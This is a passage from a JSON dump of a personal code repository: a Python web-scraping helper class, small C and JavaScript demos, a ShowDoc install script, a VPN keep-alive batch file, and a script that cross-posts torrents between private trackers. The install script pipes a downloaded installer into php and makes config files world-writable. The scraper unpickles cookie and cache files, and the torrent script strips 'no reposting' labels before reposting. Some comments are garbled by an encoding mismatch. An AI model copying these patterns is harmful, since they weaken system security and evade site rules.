random.choice(UALIST)})\r\n        if cookie is None:\r\n            cookie = {}\r\n        self.s.cookies.update(cookie)\r\n        self.setcookie(cookiestring)\r\n        if cookiefile is not None:\r\n            self.cookiefile = cookiefile\r\n            try:\r\n                with open(cookiefile, \"rb\") as fp:\r\n                    self.s.cookies = pickle.load(fp)\r\n            except FileNotFoundError:\r\n                pass\r\n        if cachedir is None:\r\n            self.cachedir = \"\"\r\n        else:\r\n            cachedir = cachedir.replace(\"\\\\\",\"/\")\r\n            if not cachedir.endswith(\"/\"):\r\n                cachedir = cachedir+\"/\"\r\n            if not os.path.exists(cachedir):\r\n                try:\r\n                    os.mkdir(cachedir)\r\n                except:\r\n                    if not os.path.exists(cachedir):\r\n                        raise\r\n            self.cachedir = cachedir\r\n\r\n    def setcookie(self,cookiestring):\r\n        cookie = {}\r\n        if cookiestring is not None:\r\n            for onecookiestring in cookiestring.split(\";\"):\r\n                tmp = onecookiestring.split(\"=\", 1)\r\n                if len(tmp)!=2:\r\n                    continue\r\n                a, b = tmp\r\n                a = quote(unquote(a).strip())\r\n                cookie.update({a: b})\r\n            self.s.cookies.update(cookie)\r\n\r\n    def showcookie(self):\r\n        \"\"\"\r\n        show cookie\r\n        :return: str(cookie)\r\n        \"\"\"\r\n        c = \"\"\r\n        for i in self.s.cookies:\r\n            c += i.name + '=' + i.value + \";\"\r\n        return c\r\n    cookie = property(showcookie)\r\n\r\n    def get(self, url, result=True, save=False, headers=None, o=False, cache=None, r=False, cookiestring=None,failstring=None, debug=False, fixfunction=None, encoding=None, **kwargs):\r\n        \"\"\"\r\n        HTTP GET method, default save soup to self.b\r\n        :param url: a url, example: \"http://ip.cn\"\r\n        :param result: using BeautifulSoup to handle the page, save to self.b (default True)\r\n        :param save: save cookie or not\r\n        :param headers: more headers to be sent\r\n        :param o: return object or just page text\r\n        :param cache: filename to write cache, if already exists, use cache rather than really get; using cache=True to use md5(url) as cache file name\r\n        :param failstring: if failstring occurs in text, raise an exception\r\n        :param fixfunction: a function receive html (bytes), output fixed html (bytes); this is useful for simple replace to fix dirty html page\r\n        :return page text or object(o=True)\r\n        \"\"\"\r\n        if debug:\r\n            print(url)\r\n        if cache is True:\r\n            cache = mymd5(url)\r\n        if cache:\r\n            cache_filepath = self.cachedir + cache\r\n        if cache is not None and os.path.exists(cache_filepath): # cache exist, read from cache\r\n            with open(cache_filepath, \"rb\") as fp:\r\n                if o:\r\n                    obj = pickle.load(fp)\r\n                    page = obj.content\r\n                else:\r\n                    page = fp.read()\r\n            if result:\r\n                page = page.replace(b\"<br>\", b\"\\n\").replace(b\"<BR>\", b\"\\n\")\r\n                if fixfunction is not None:\r\n                    page = fixfunction(page)\r\n                if encoding:\r\n                    self.b = BeautifulSoup(page.decode(encoding,errors='replace'), 'html.parser')\r\n                else:\r\n                    self.b = BeautifulSoup(page, 'html.parser')\r\n            if o:\r\n                return obj\r\n            else:\r\n                if not encoding:\r\n                    encoding = chardet.detect(page)[\"encoding\"]\r\n                return page.decode(encoding,errors='replace')\r\n        if r:\r\n            if headers is None:\r\n                headers = {\"Accept-Encoding\": \"gzip, deflate, sdch\", \"Accept-Language\": \"zh-CN,zh;q=0.8\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\", \"Upgrade-Insecure-Requests\": \"1\", \"DNT\": \"1\"}\r\n            headers[\"Referer\"] = \"/\".join(url.split(\"/\")[:3])\r\n        if cookiestring is not None:\r\n            if headers is None:\r\n                headers = {}\r\n            headers[\"Cookie\"] = cookiestring\r\n        if \"allow_redirects\" not in kwargs:\r\n            kwargs[\"allow_redirects\"] = False\r\n        x = self.s.get(url, headers=headers, proxies=self.proxies, **kwargs)\r\n        if encoding:\r\n            x.encoding = encoding\r\n        if failstring is not None:\r\n            if failstring in x.text:\r\n                raise EasyLogin_ValidateFail(x)\r\n        if result:\r\n                page = x.content.replace(b\"<br>\", b\"\\n\").replace(b\"<BR>\", b\"\\n\")\r\n                if fixfunction is not None:\r\n                    page = fixfunction(page)\r\n                if encoding:\r\n                    self.b = BeautifulSoup(page.decode(encoding,errors='replace'), 'html.parser')\r\n                else:\r\n                    self.b = BeautifulSoup(page, 'html.parser')\r\n        if save:\r\n            with open(self.cookiefile, \"wb\") as fp:\r\n                fp.write(pickle.dumps(self.s.cookies))\r\n        if o:  # if you need object returned\r\n            if cache is not None:\r\n                with open(cache_filepath, \"wb\") as fp:\r\n                    fp.write(pickle.dumps(x))\r\n            return x\r\n        else:\r\n            if cache is not None:\r\n                with open(cache_filepath, \"wb\") as fp:\r\n                    fp.write(x.content)\r\n            return x.text\r\n\r\n    def post(self, url, data, result=True, save=False, headers=None, cache=None, dont_change_cookie=False, **kwargs):\r\n        \"\"\"\r\n        HTTP POST method, submit data to server\r\n        :param url: post target url\r\n        :param data: the data already quoted\r\n        :param result: the page returned save to a.b\r\n        :param save: save cookie to file\r\n        :param headers: override headers to be sent\r\n        :param cache: filename to write cache, if already exists, use cache rather than really get; using cache=True to use md5(url+data) as cache file name\r\n        :param dont_change_cookie: make the cookie unchanged during this function\r\n        :return: the requests object\r\n        \"\"\"\r\n        if cache is True:\r\n            cache = mymd5(url+data)\r\n        if cache:\r\n            cache_filepath = self.cachedir + cache\r\n        if cache is not None and os.path.exists(cache_filepath):\r\n            with open(cache_filepath, \"rb\") as fp:\r\n                obj = pickle.load(fp)\r\n            if result:\r\n                self.b = BeautifulSoup(obj.content.replace(b\"<br>\", b\"\\n\").replace(b\"<BR>\", b\"\\n\"), 'html.parser')\r\n            return obj\r\n        postheaders = {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}\r\n        if headers is not None:\r\n            postheaders.update(headers)\r\n        if dont_change_cookie:\r\n            self.stash_cookie()\r\n        x = self.s.post(url, data, headers=postheaders, allow_redirects=False, proxies=self.proxies, **kwargs)\r\n        if dont_change_cookie:\r\n            self.pop_cookie()\r\n        if result:\r\n            page = x.content.replace(b\"<br>\", b\"\\n\").replace(b\"<BR>\", b\"\\n\")\r\n            self.b = BeautifulSoup(page, 'html.parser')\r\n        if save:\r\n            with open(self.cookiefile, \"wb\") as fp:\r\n                fp.write(pickle.dumps(self.s.cookies))\r\n        if cache is not None:\r\n            with open(cache_filepath, \"wb\") as fp:\r\n                fp.write(pickle.dumps(x))\r\n        return x\r\n\r\n    def post_dict(self, url, dict, result=True, save=False, headers=None,cache=None):\r\n        \"\"\"\r\n        like post but using dict to post\r\n        :param url: post target url\r\n        :param dict: the data to be post, in dict form, example: {\"age\":\"19\",\"name\":\"chenyuan\"}\r\n        :param result: the page returned save to a.b\r\n        :param save: save cookie to file\r\n        :param headers: override headers to be sent\r\n        :return: the requests object\r\n        \"\"\"\r\n        if cache is True:\r\n            dict = OrderedDict(sorted(dict.items(), key=lambda t: t[0]))\r\n        data = urlencode(dict)\r\n        return self.post(url, data, result=result, save=save, headers=headers,cache=cache)\r\n\r\n    def post_json(self, url, jsondata, result=False, save=False, headers=None, cache=None, o=False):\r\n        \"\"\"\r\n        add a header for json post\r\n        :return the object\r\n        \"\"\"\r\n        if headers is None:\r\n            headers={}\r\n        headers[\"Content-Type\"]=\"application/json;charset=UTF-8\"\r\n        data=json.dumps(jsondata)\r\n        x=self.post(url, data, result=result, save=save, headers=headers,cache=cache)\r\n        if o:\r\n            return x\r\n        else:\r\n            return x.json()\r\n\r\n    def f(self, name, attrs):\r\n        \"\"\"\r\n        find all tags matches name and attrs\r\n        :param name: Tag name\r\n        :param attrs: dict, exmaple: {\"id\":\"content\"}\r\n        :return: list of str(Tag text)\r\n        \"\"\"\r\n        if self.b is None:\r\n            return []\r\n        return [i.text.replace('\\r', '').replace('\\n', '').replace('\\t', '').replace('  ', '')\r\n                for i in self.b.find_all(name, attrs)]\r\n\r\n    def getlist(self, searchString, elementName=\"a\", searchTarget=\"href\", returnType=None):\r\n        \"\"\"\r\n        get all urls which contain searchString\r\n        Examples:\r\n        get all picture:\r\n            a.getlist(\"\",\"img\",\"src\")\r\n        get all css and js:\r\n            a.getlist(\"css\",\"link\",\"href\")\r\n            a.getlist(\"js\",\"script\",\"src\")\r\n\r\n        :param searchString: keywords to search\r\n        :param elementName: Tag name\r\n        :param searchTarget: \"href\", \"src\", etc...\r\n        :param returnType: \"element\" to return the Tag object, None to return element[searchTarget]\r\n        :return: list\r\n        \"\"\"\r\n        if returnType is None:\r\n            returnType = searchTarget\r\n        if self.b is None:\r\n            return []\r\n        result = []\r\n        for element in self.b.find_all(elementName):\r\n            if searchString in element.get(searchTarget, \"\"):\r\n                result.append(element[returnType] if returnType != \"element\" else element)\r\n        return result\r\n\r\n    getList = getlist\r\n\r\n    def img(self):\r\n        return [i[2:] if i[0:2] == \"//\" else i for i in self.getlist(\"\", \"img\", \"src\")]\r\n\r\n    def css(self):\r\n        return [i[2:] if i[0:2] == \"//\" else i for i in self.getlist(\"css\", \"link\", \"href\")]\r\n\r\n    def js(self):\r\n        return [i[2:] if i[0:2] == \"//\" else i for i in self.getlist(\"js\", \"script\", \"src\")]\r\n\r\n    def VIEWSTATE(self):\r\n        \"\"\"\r\n        Useful when you crack the ASP>NET website\r\n        :return: quoted VIEWSTATE str\r\n        \"\"\"\r\n        if self.b is None:\r\n            return \"\"\r\n        x = self.b.find(\"input\", attrs={\"name\": \"__VIEWSTATE\"})\r\n        if x is None:\r\n            return \"\"\r\n        return quote(x[\"value\"])\r\n\r\n    def save(self, filename=\"EasyLogin.status\"):\r\n        \"\"\"\r\n        save the object to file using pickle\r\n        to avoid RecursionError, not saving self.b\r\n        :param filename:\r\n        :return:\r\n        \"\"\"\r\n        b = self.b\r\n        self.b = None\r\n        data = pickle.dumps(self)\r\n        with open(filename, \"wb\") as fp:\r\n            fp.write(data)\r\n        self.b = b\r\n        return\r\n    \r\n    export = save\r\n    \r\n    @staticmethod\r\n    def load(filename='EasyLogin.status'):\r\n        \"\"\"\r\n        load an object from file\r\n        :param filename: file saved by pickle\r\n        :return: the object\r\n        \"\"\"\r\n        try:\r\n            with open(filename, \"rb\") as fp:\r\n                return pickle.load(fp)\r\n        except:\r\n            return EasyLogin()\r\n    \r\n    _import = load\r\n    \r\n    @staticmethod\r\n    def w(filename, content, method='w', overwrite=False):\r\n        \"\"\"\r\n        just for write more simplely\r\n        :param filename: str\r\n        :param content: str or bytes\r\n        :param method: 'w' or 'wb'\r\n        :param overwrite: boolean\r\n        :return: None\r\n        \"\"\"\r\n        if not overwrite and os.path.exists(filename):\r\n            return\r\n        with open(filename, method) as fp:\r\n            fp.write(content)\r\n\r\n    def text(self, target=None, ignore_pureascii_words=False):\r\n        \"\"\"\r\n        Get all text in HTML, skip script and comment\r\n        :param target: the BeatuifulSoup object, default self.b\r\n        :param ignore_pureascii_words: if set True, only return words that contains Chinese charaters (may be useful for English version website)\r\n        :return: list of str\r\n        \"\"\"\r\n        if target is None:\r\n            target = self.b\r\n        from bs4 import Comment\r\n        from bs4.element import NavigableString,Doctype\r\n        result = []\r\n        for descendant in target.descendants:\r\n            if not isinstance(descendant, NavigableString) \\\r\n                    or isinstance(descendant,Doctype) \\\r\n                    or descendant.parent.name in [\"script\", \"style\"] \\\r\n                    or isinstance(descendant, Comment) \\\r\n                    or \"none\" in descendant.parent.get(\"style\",\"\")\\\r\n                    or \"font-size:0px\" in descendant.parent.get(\"style\",\"\"):\r\n                continue\r\n            data = descendant.strip()\r\n            if len(data) > 0:\r\n                if not ignore_pureascii_words or any([ord(i)>127 for i in data]):\r\n                    if PY2:\r\n                        result.append(data.encode('utf-8'))\r\n                    else:\r\n                        result.append(data)\r\n        return result\r\n\r\n    def find(self, tag, attrs_string, skip=0, text=False):\r\n        \"\"\"\r\n        find more easily with string, return all matched tag\r\n        :param tag: tag name\r\n        :param attrs_string: tag attrs, fully match\r\n        :param skip: skip first tags\r\n        :param text: need text or tag\r\n        :return: array of tag or text\r\n        \"\"\"\r\n        tmp_tag = BeautifulSoup(\"\"\"<%s %s></%s>\"\"\" % (tag, attrs_string, tag), \"html.parser\").find(tag)\r\n\r\n        def mysearch(itag):\r\n            if itag.name != tag:\r\n                return False\r\n            if itag.attrs == tmp_tag.attrs:\r\n                return True\r\n            else:\r\n                return False\r\n        data = self.b.find_all(mysearch)\r\n        for i in range(skip):\r\n            if not len(data):\r\n                break\r\n            del(data[0])\r\n        if text is True:\r\n            text = \" \"\r\n        if text:\r\n            return [text.join(self.text(i)) for i in data]\r\n        else:\r\n            return data\r\n\r\n    def d(self,tag,attrs,all=False):\r\n        \"\"\"\r\n        delete some useless tags\r\n        :param tag: tag name\r\n        :param attrs: tag attrs\r\n        :param all: delete all matches or just the first one\r\n        :return: False when not found any matches\r\n        \"\"\"\r\n        if self.b is None:\r\n            return False\r\n        if all:\r\n            tags = self.b.find_all(tag,attrs=attrs)\r\n        else:\r\n            tags = [self.b.find(tag,attrs=attrs)]\r\n        if len(tags)==0:\r\n            return False\r\n        for tag in tags:\r\n            tag.extract()\r\n        return True\r\n\r\n    @staticmethod\r\n    def safefilename(filename):\r\n        \"\"\"\r\n        convert a string to a safe filename\r\n        :param filename: a string, may be url or name\r\n        :return: special chars replaced with _\r\n        \"\"\"\r\n        for i in \"\\\\/:*?\\\"<>|$\":\r\n            filename=filename.replace(i,\"_\")\r\n        return filename\r\n\r\n    def stash_cookie(self):\r\n        \"\"\"\r\n        stash the cookie status to a stack\r\n        :return: None\r\n        \"\"\"\r\n        try:\r\n            self.cookiestack\r\n        except AttributeError:\r\n            self.cookiestack = []\r\n        self.cookiestack.append(self.s.cookies.copy())\r\n\r\n    def pop_cookie(self):\r\n        \"\"\"\r\n        pop the cookie from the stack\r\n        :return: False when pop from empty stack, else None\r\n        \"\"\"\r\n        if len(self.cookiestack) == 0:\r\n            return False\r\n        self.s.cookies = self.cookiestack.pop()\r\n\r\ndef main():\r\n    # crawl main page of v2ex.com, print hot topics, and return a list of (\"/t/637075\", \"公司让选一本书作为新年礼物，小于 80 元，有什么推荐的吗？\")\r\n    a = EasyLogin()\r\n    page = a.get(\"https://v2ex.com/\")\r\n    TopicsHot = a.b.find(\"div\",{\"id\":\"TopicsHot\"})\r\n    print(\"\\n\".join(a.text(TopicsHot)))\r\n    res = []\r\n    for item in TopicsHot.find_all(\"a\"):\r\n        if not item[\"href\"].startswith(\"/t/\"):\r\n            continue\r\n        res.append((item[\"href\"], item.text))\r\n    return res\r\n\r\nEL = EasyLogin\r\n\r\nif __name__ == '__main__':  # sample code for get ip by \"http://ip.cn\"\r\n    print(main())"
  },
  {
    "path": "docs/code/Javascript/异常.html",
    "content": "<form>\r\n<input id=\"txt\" type=\"text\">\r\n<input id=\"btn\" type=\"button\" onclick=\"demo()\" value=\"ť\">\r\n</form>\r\n<script>\r\nfunction demo(){\r\n    try{\r\n        var e=document.getElementById(\"txt\").value;\r\n        if (e==\"\"){\r\n            throw \"һ쳣 û==\";\r\n        }else if(e==\"123456\"){\r\n            throw \"ڶ쳣 ̫\";\r\n        }\r\n    }catch (err){\r\n        alert(err);\r\n    }\r\n}\r\n</script>"
  },
  {
    "path": "docs/code/MultiThread_Template.py",
    "content": "#coding:utf-8\r\n#Python简单多线程模板,支持Py2,Py3\r\n\r\nimport threading\r\nfrom time import sleep\r\n\r\ntheader = 20\r\n\r\ncounter = 0 \r\ndef work(list):\r\n    global counter\r\n    for i in list:\r\n        counter += 1\r\n        sleep(1)# do something time-costing...\r\n\r\n\r\nworklist = range(1,100)\r\nfor i in range(theader):\r\n    t = threading.Thread(target=work,args=[worklist[i::theader]])\r\n    t.start()\r\n\r\nwhile counter < len(worklist):\r\n    print(\"Finished: \"+str(counter))\r\n    sleep(1)\r\n\r\nprint(\"END\")"
  },
  {
    "path": "docs/code/PHP/ShowDoc.sh",
    "content": "# how to install ShowDoc in centos\r\n\r\nyum install nginx php php-gd php-fpm php-mcrypt php-mbstring php-mysql php-pdo\r\n\r\n\r\ncurl -sS https://getcomposer.org/installer | php\r\nmv composer.phar /usr/local/bin/composer\r\n\r\ncomposer config -g repo.packagist composer https://packagist.phpcomposer.com\r\n\r\ncd /var/www/html/ && composer create-project  showdoc/showdoc\r\n\r\nchmod a+w showdoc/install\r\nchmod a+w showdoc/Sqlite\r\nchmod a+w showdoc/Sqlite/showdoc.db.php\r\nchmod a+w showdoc/Public/Uploads/\r\nchmod a+w showdoc/Application/Runtime\r\nchmod a+w showdoc/server/Application/Runtime\r\nchmod a+w showdoc/Application/Common/Conf/config.php\r\nchmod a+w showdoc/Application/Home/Conf/config.php"
  },
  {
    "path": "docs/code/RVPNKeepAlive.bat",
    "content": "REM ڱ֤WindowsϵrvpnϿ󾡿\r\nREM ű߼ҪдһLoader.batÿ1min(Զ)һαű\r\nREM ߼˳¼ĵԶcurlȡʧԶ\r\nREM rvpnԶܵ´ڴռãԶChrome.exe\r\n\r\ntaskkill /f /im LogoutTimeOut.exe\r\nif \"%errorlevel%\"==\"0\" taskkill /f /im SangforCSClient.exe&ping www.baidu.com&start \"\" \"C:\\Program Files\\Sangfor\\SSL\\SangforCSClient\\SangforCSClient.exe\" /ShortCutAutoLogin&& taskkill /f /im Chrome.exe &ping www.baidu.com\r\ncurl 10.71.45.100 >nul\r\nif \"%errorlevel%\"==\"0\" exit 0\r\ncurl www.cc98.org >nul\r\nif \"%errorlevel%\"==\"0\" exit 0\r\ntaskkill /f /im SangforCSClient.exe\r\nping -n 2 ip.cn\r\nstart \"\" \"C:\\Program Files\\Sangfor\\SSL\\SangforCSClient\\SangforCSClient.exe\" /ShortCutAutoLogin\r\ntaskkill /f /im Chrome.exe"
  },
  {
    "path": "docs/code/SpecialJudge_检查输出行顺序无关的答案.c",
    "content": "/*\r\n * 本代码是评判输出行无关的Special Judge代码，用于OnlineJudge\r\n * 原理为把标准答案写入代码中，先把标准答案和用户答案都qsort排序后再逐行比较\r\n*/\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#define AC 0\r\n#define WA 1\r\n#define ERROR -1\r\n\r\n#define LINES 100 //答案一共有100行\r\n#define LINELEN 15 //建议这个数值略大于每行最长长度\r\nchar truelines[][LINELEN]={/*这里是标准答案，顺序无关，一共LINES行，每行最长LINELEN-1个字符*/}\r\n\r\nint compare(const void* a,const void* b){\r\n\treturn strcmp((const char*)a,(const char*)b);\r\n}\r\n\r\nint spj(FILE *input, FILE *user_output);\r\n\r\nvoid close_file(FILE *f){\r\n    if(f != NULL){\r\n        fclose(f);\r\n    }\r\n}\r\n\r\nint main(int argc, char *args[]){\r\n    FILE *input = NULL, *user_output = NULL;\r\n    int result;\r\n    if(argc != 3){\r\n        printf(\"Usage: spj x.in x.out\\n\");\r\n        return ERROR;\r\n    }\r\n    input = fopen(args[1], \"r\");\r\n    user_output = fopen(args[2], \"r\");\r\n    if(input == NULL || user_output == NULL){\r\n        printf(\"Failed to open output file\\n\");\r\n        close_file(input);\r\n        close_file(user_output);\r\n        return ERROR;\r\n    }\r\n    result = spj(input, user_output);\r\n    printf(\"result: %d\\n\", result);\r\n    close_file(input);\r\n    close_file(user_output);\r\n    return result;\r\n}\r\nint spj(FILE *input, FILE *user_output){\r\n    /*如果用户答案错误，返回WA；否则返回AC*/\r\n\tint i;char *tmp,userlines[LINES][LINELEN];\r\n\tfor(i=0;i<LINES;i++){\r\n\t\ttmp=fgets(userlines[i],LINELEN,user_output);\r\n\t\tuserlines[i][strlen(userlines[i])-1]=0;//fgets会得到\\n，需要删掉\r\n\t}\r\n\tqsort(truelines,LINES,LINELEN,compare);\r\n\tqsort(userlines,LINES,LINELEN,compare);\r\n\tfor(i=0;i<LINES;i++){\r\n\t\t//printf(\"%s,%s\\n\",truelines[i],userlines[i]);\r\n\t\tif(strcmp(truelines[i],userlines[i])!=0) return WA;\r\n\t}\r\n\treturn AC;\r\n}\r\n\r\n"
  },
  {
    "path": "docs/code/Understand_recursion/example1.c",
    "content": "#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#define MAX_LEVEL 55\r\ntypedef  struct  TreeNode  *Tree;\r\nstruct TreeNode {\r\n\tTree Child;\r\n\tchar key;\r\n\tTree Sibling;\r\n};\r\nint Counter[MAX_LEVEL] ;\r\n/* Counter[i] stores the number of leaves on the i-th level.*/\r\n/* The root is on the level 0. */\r\n\r\n\r\nvoid Visit( Tree T, int *level ){\r\n    if(T==NULL){\r\n    \treturn;\r\n\t}else{\r\n    \tprintf(\"%c,\",T->key);\r\n    \t*level+=1;\r\n    \tVisit(T->Child,level+1);\r\n\t    Visit(T->Sibling,level);\r\n\t}\r\n}\r\n\r\nint main(){\r\n\tstruct TreeNode data[20];\r\n\tdata[0].key='A';data[0].Child=data+1;data[0].Sibling=NULL;\r\n\tdata[1].key='B';data[1].Child=data+4;data[1].Sibling=data+2;\r\n\tdata[2].key='C';data[2].Child=data+6;data[2].Sibling=data+3;\r\n\tdata[3].key='D';data[3].Child=data+7;data[3].Sibling=NULL;\r\n\tdata[4].key='E';data[4].Child=data+10;data[4].Sibling=data+5;\r\n\tdata[5].key='F';data[5].Child=NULL;data[5].Sibling=NULL;\r\n\tdata[6].key='G';data[6].Child=NULL;data[6].Sibling=NULL;\r\n\tdata[7].key='H';data[7].Child=data+12;data[7].Sibling=data+8;\r\n\tdata[8].key='I';data[8].Child=NULL;data[8].Sibling=data+9;\r\n\tdata[9].key='J';data[9].Child=NULL;data[9].Sibling=NULL;\r\n\tdata[10].key='K';data[10].Child=NULL;data[10].Sibling=data+11;\r\n\tdata[11].key='L';data[11].Child=NULL;data[11].Sibling=NULL;\r\n\tdata[12].key='M';data[12].Child=NULL;data[12].Sibling=NULL;\r\n\tVisit(data,Counter);\r\n\tprintf(\"\\n\");\r\n\tint i;\r\n\tfor(i=0;i<4;i++){\r\n\t\tprintf(\"%d:%d\\n\",i,Counter[i]);\r\n\t}\r\n}"
  },
  {
    "path": "docs/code/autoseed_byr2nhd.py",
    "content": "from EasyLogin import EasyLogin\r\nimport sys, os, re\r\nfrom PIL import Image\r\nfrom resizeimage import resizeimage\r\nfrom config import byr_cookie, nhd_cookie, byr_proxy, thost, tport, tuser, tpassword\r\nfrom pprint import pprint\r\nimport transmissionrpc\r\nimport base64\r\n\r\ndef img_smaller(filename):\r\n    img = Image.open(open(filename, 'rb'))\r\n    newsize = [img.size[0] * 0.9, img.size[1] * 0.9]\r\n    smallerimg = resizeimage.resize_thumbnail(img, newsize)\r\n    smallerimg.save(filename, smallerimg.format)\r\n\r\ndef downimgs(a, imgs):\r\n    result = []\r\n    for img in imgs:\r\n        filename = img.split(\"/\")[-1]\r\n        if img.startswith(\"//\"):\r\n            img = \"http:\"+img\r\n        if not img.startswith(\"http\"):\r\n            img = \"http://bt.byr.cn/\"+img\r\n        print(img)\r\n        if not os.path.exists(filename):\r\n            data = a.get(img, o=True, result=False).content\r\n            open(filename, \"wb\").write(data)\r\n        while os.stat(filename).st_size>1024*1024:\r\n            print(\"size: \",os.stat(filename).st_size/1024,\"KB\")\r\n            img_smaller(filename)\r\n        result.append(filename)\r\n    return result\r\n\r\ndef upload_imgs_nhd(a_nhd, filenames):\r\n    result = []\r\n    for filename in filenames:\r\n        x=a_nhd.s.post(\"http://www.nexushd.org/attachment.php\", files={\"submit\":\"上传\", \"file\":open(filename,\"rb\")})\r\n        attach = x.text.split(\"[attach]\")[1].split(\"[/attach]\")[0]\r\n        result.append(attach)\r\n    return result\r\nsource_sel_dict = {\"bluray\": \"1\", \"blu-ray\": \"1\", \"hdtv\": \"4\", \"webdl\": \"7\", \"web-dl\": \"7\"}\r\nstandard_sel_dict = {\"1080p\": \"1\", \"1080i\": \"2\", \"720p\": \"3\", \"4K\": \"1\"}\r\ndef get_byr(a, torrentid):\r\n    a.get(\"http://bt.byr.cn/details.php?id={torrentid}&hit=1\".format(torrentid=torrentid),cache=True)\r\n    torrent_filename = a.b.find(\"a\",{\"class\":\"index\"}).text\r\n    name = a.b.find(\"h1\",{\"id\":\"share\"}).text.split(\"\\xa0\")[0]\r\n    subtitle = a.b.find(\"div\",{\"id\":\"subtitle\"}).text\r\n    name_orignal = name\r\n    subtitle_orignal = subtitle\r\n    if name.count(\"][\")==3:\r\n        name = name_orignal.split(\"][\")[1]\r\n        subtitle = name_orignal.split(\"][\")[0].strip(\"[\")+\" \"+name_orignal.split(\"][\")[2]+\" \"+name_orignal.split(\"][\")[3].strip(\"]\") + subtitle\r\n    else:\r\n        name = torrent_filename.replace(\"[BYRBT].\",\"\").replace(\".torrent\",\"\")\r\n        if len(name.split(\".\")[-1])<4:\r\n            name = \".\".join(name.split(\".\")[:-1])\r\n        subtitle = name_orignal.replace(\"[\",\"\").replace(\"]\",\" \").replace(name, \"\") + subtitle\r\n    \r\n    # 来源\r\n    source_sel = \"0\"\r\n    for key, value in source_sel_dict.items():\r\n        if key in name_orignal.lower():\r\n            source_sel = value\r\n            break\r\n    # 分辨率\r\n    standard_sel = \"0\"\r\n    for key, value in standard_sel_dict.items():\r\n        if key in name_orignal.lower():\r\n            standard_sel = value\r\n            break\r\n    infohtml = a.b.find(\"div\",{\"id\":\"kdescr\"})\r\n    infotext = infohtml.text.replace(\"\\xa0\",\"\")\r\n    imdblink_tmp = re.findall(r\"www.imdb.com/title/tt\\d+\", infotext)\r\n    imdblink = \"\"\r\n    if len(imdblink_tmp):\r\n        imdblink = \"http://\" + imdblink_tmp[0] + \"/\"\r\n    doubanlink_tmp = re.findall(r\"movie.douban.com/subject/\\d+\", infotext)\r\n    doubanlink = \"\"\r\n    if len(doubanlink_tmp):\r\n        doubanlink = \"https://\" + doubanlink_tmp[0]\r\n    infoimgs = [i[\"src\"] for i in infohtml.find_all(\"img\")]\r\n    downloadedimgs = downimgs(a, infoimgs)\r\n    try:\r\n        doubantext = \"\\n\".join(a.text(a.b.find(\"p\",text=\"豆瓣信息\").find_next(\"td\"))).replace(\"\\xa9\",\"\").replace(\"\\n，\\n\",\"，\\n\").replace(\"-=更新=-\",\"\")\r\n    except:\r\n        doubantext = \"\"\r\n    return {\"standard_sel\":standard_sel, \"doubanlink\":doubanlink, \"imdblink\": imdblink, \"source_sel\":source_sel, \"torrentid\": torrentid,\"name\":name, \"subtitle\":subtitle, \"descr\": infotext+\"\\n Douban:\"+doubantext, \"type\":\"101\"}, downloadedimgs\r\n\r\ndef download_torrent_byr(a, torrentid, host=\"bt.byr.cn\", short=\"byr\"):\r\n    filename = str(torrentid)+\"_\"+short+\".torrent\"\r\n    if not os.path.exists(filename):\r\n        open(filename,\"wb\").write(a.get(\"http://\"+host+\"/download.php?id={torrentid}\".format(torrentid=torrentid),result=False,o=True).content)\r\n    return filename\r\n\r\ndef download_torrent_nhd(a_nhd, torrentid):\r\n    return download_torrent_byr(a_nhd, torrentid, host=\"www.nexushd.org\", short=\"nhd\")\r\n\r\ndef upload_nhd(a_nhd, filename, torrentid, uploadedimgs, name,subtitle,descr,type, source_sel, imdblink, doubanlink, standard_sel):\r\n    tmpstr = \"\"\r\n    for item in uploadedimgs:\r\n        tmpstr += (\"[attach]\"+item+\"[/attach]\\n\")\r\n    descr = tmpstr+descr\r\n    data = {\r\n         \"name\":name, \r\n         \"small_descr\":subtitle+\" Autoseed请求协助编辑\", \r\n         \"descr\":descr.replace(\"\\r\",\"\\n\").replace(\"\\n\\n\",\"\\n\"), \r\n         \"type\":type,\r\n         \"url\":imdblink,\r\n         \"douban_url\": doubanlink,\r\n         \"source_sel\": source_sel, \r\n         \"codec_sel\": \"1\",\r\n         \"standard_sel\": standard_sel,\r\n    }\r\n    if \"禁止转载\" in data[\"small_descr\"] or \"禁转\" in data[\"small_descr\"]:\r\n        data[\"small_descr\"] = subtitle.replace(\"禁止转载\",\"\").replace(\"禁转\",\"\")\r\n        data[\"uplver\"] = \"yes\"\r\n    data_no_descr = data.copy()\r\n    del(data_no_descr[\"descr\"])\r\n    pprint(data_no_descr)\r\n    input(\"Sure to upload?\")\r\n    x = a_nhd.s.post(\"http://www.nexushd.org/takeupload.php\",files={\"file\":open(filename,\"rb\")},\r\n        data=data)\r\n    #open(\"result.html\",\"wb\").write(x.content)\r\n    id = x.text.split(\"download.php?id=\")[1].split('\"')[0]\r\n    return id\r\n\r\ndef upload_transmission(thost, tport, tuser, tpassword, filename):\r\n    tc = transmissionrpc.Client(thost, port=tport, user=tuser, password=tpassword)\r\n    tc.add_torrent(base64.b64encode(open(filename, \"rb\").read()).decode())\r\n\r\nif __name__ == \"__main__\":\r\n    a = EasyLogin(proxy=byr_proxy,cookiestring=byr_cookie)\r\n    a_nhd = EasyLogin(cookiestring=nhd_cookie) \r\n    \r\n    id = sys.argv[1]\r\n    data, downloadedimgs = get_byr(a, id) # 获取种子信息\r\n    filename = download_torrent_byr(a, id) # 下载种子文件\r\n    uploadedimgs = upload_imgs_nhd(a_nhd, downloadedimgs) # 下载种子简介中的图片\r\n    nhdid = upload_nhd(a_nhd, filename=filename, uploadedimgs=uploadedimgs, **data) # 上传种子到NHD\r\n    filename_nhd = download_torrent_nhd(a_nhd, nhdid) # 下载刚上传的NHD种子\r\n    upload_transmission(thost, tport, tuser, tpassword, filename_nhd) # 传给transmission开始做种"
  },
  {
    "path": "docs/code/ccfbadge.user.js",
